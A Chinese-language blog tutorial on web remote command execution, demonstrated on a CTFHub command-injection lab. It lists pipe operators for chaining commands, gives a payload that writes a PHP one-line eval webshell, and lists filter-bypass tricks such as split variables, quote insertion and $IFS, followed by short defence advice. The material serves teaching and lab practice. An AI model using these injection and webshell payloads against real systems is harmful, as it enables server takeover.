WEB漏洞——RCE

RCE(remote command/code execute)远程命令/代码执行漏洞,可以让攻击者直接向后台服务器远程注入操作系统命令或者代码,从而控制后台系统。

RCE漏洞

应用程序有时需要调用一些执行系统命令的函数,如在PHP中,使用system、exec、 shell_exec、 passthru、 popen、 proc_popen等函数可以执行系统命令。当黑客能控制这些函数中的参数时,就可以将恶意的系统命令拼接到正常命令中,从而造成命令执行攻击,这就是命令执行漏洞

拼接命令时需要用到管道符

Windows管道符

  1.  |  :直接执行后面的语句。例如ping 127.0.0.1|whoami
  2.  ||  :如果前面的语句执行失败,则执行后面的语句,前面的语句只能为假才行。例如ping 2||whoami
  3.  & :两条命令都执行,如果前面的语句为假则直接执行后面的语句,前面的语句可真可假。例如ping 2&whoami
  4. && :如果前面的语句为假则直接出错,也不执行后面的话句,前面的语句为真则两条命令都执行,前面的语句只能为真。例如ping 127.0.0.1&&whoami

Linux管道符

  1.  ; :执行完前面的语句再执行后面的语句。例如ping 127.0.0.1;whoami
  2.  | :显示后面语句的执行结果。例如ping 127.0.0.1|whoami
  3.  || :当前面的语句执行出错时,执行后面的语句。例如ping 2||whoami
  4. &  :两条命令都执行,如果前面的语句为假则执行执行后面的语句,前面的语句可真可假。例如ping 2&whoami
  5. &&:如果前面的语句为假则直接出错,也不执行后面的语句,前面的语句为真则两条命令都执行,前面的语句只能为真。例如ping 127.0.0.1&&whoami

命令执行漏洞攻击演示

下面拿ctfhub中的命令注入靶场演示

是一个简单的ping网站的页面,输入ip进行ping命令,

 

输入ip没什么问题返回了结果,但是如果利用管道符拼接一些其他的系统命令例如whoami 

 

成功执行了其他的系统命令

 

代码执行漏洞攻击演示

也可以利用系统命令写入一句话木马

127.0.0.1&echo "<?php @eval(\$_POST['test']);?>" > 1.php

 至于一句话木马为什么要加 \ ,看了网上的回答。echo命令会调用$_POST导致原始文件中没有,因此需要改为echo  "<?php @eval(\$_POST['test']);?>" > 1.php即可

写入一句话木马之后,接下来用蚁剑连接即可

 

命令执行绕过过滤

这里就列出几个常见的,可以举一反三

  • 过滤cat

  拼接绕过:127.0.0.1;a=c;b=at;$a$b rce.php或者127.0.0.1;a=c;b=at;${a}${b} rce_ping.php

  单引号和双引号绕过:比如:ca''t flag 或ca""t flag

  • ; | & 符号过滤

  用%0a(回车)%0d(换行)来代替上面的符号。

  • 过滤空格

   < 、<>、%20(空格)、%09(tab键)、$IFS$9、 ${IFS}、$IFS等

 

防御RCE攻击

  • 尽量不要使用命令执行函数。
  • 客户端提交的变量在进入执行命令函数前要做好过滤和检测
  • 在使用动态函数之前,确保使用的函数是指定的函数之ー。
  • 对PHP语言来说,不能完全控制的危险函数最好不要使用
posted @ 2021-09-10 15:39  1_Ry  阅读(401)  评论(2编辑  收藏  举报